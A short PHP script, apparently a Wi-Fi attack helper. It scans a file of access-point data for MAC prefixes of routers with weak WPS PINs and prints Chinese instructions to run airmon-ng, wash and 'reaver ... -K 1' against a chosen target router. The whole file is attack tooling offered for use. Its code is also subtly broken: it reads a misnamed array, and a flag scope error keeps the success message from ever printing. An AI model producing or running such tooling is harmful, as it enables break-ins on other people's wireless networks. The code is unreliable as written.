<?php
$direct = array(
"C8:3A:88",
"00:B0:0C"
);
$poing = array(
"62:6B:D3",
"62:53:D4",
"62:CB:A8",
"6A:23:3D",
"72:23:3D", 
"72:3D:FF",
"72:55:9C",
"0C:96:BF",
"08:7A:4C",
"20:08:ED",
"D0:7A:B5",
"E8:CD:2D",
"00:A0:26",
"C8:D3:A3",
"B2:46:FC",
"5C:35:3B",
"DC:53:7C",
"6C:B0:CE"
);
$count = count($poing);
echo $count."\n";
$fileName="./pin.txt";
if(!is_file($fileName)){

exit("this file not exit");
}
echo "arra count:".$count."\n";
$hFile=fopen($fileName,"r");
echo "start pin compare";
while (($read=fgets($hFile)) !== false) {
	//echo $read."\nddddd";
	directPin($read);
	compareIsPin($read);
	
}
$flag=0;
function directPin($strings){
	$iscanPin=0;
	global $direc;
	if(strpos($strings,$direc[0]) !== false){

		$iscanPin=1;
	}
	if(strpos($strings,$direc[1]) !== false){

		$iscanPin=1;
	}
	if($iscanPin){

		echo "this can direct calc pin final 6 to 16 dao 10 is pinNum\n$strings";
	}

}
function compareIsPin($strings){
$i=0;

global $poing;
global $count;


for($i=0; $i<$count;$i++){

	if(strpos($strings, $poing[$i]) !== false){

		echo "find ".$strings." ---_--- \n";
		$flag=1;
	}

}


}
if(!$flag){

	echo "sorry not find you want pin targets"."\n";
}else{

	echo "gongxini";
}

fclose($hFile);

echo "----------------------\nthen you can use commond airmon-ng start wlan0

使用wash -i mon0 来扫描开WPS的AP ctrl+c停止

使用命令
reaver -i mon0 -b 想要攻击的AP'MAC地址 -v  -K 1\n\n ";
?>
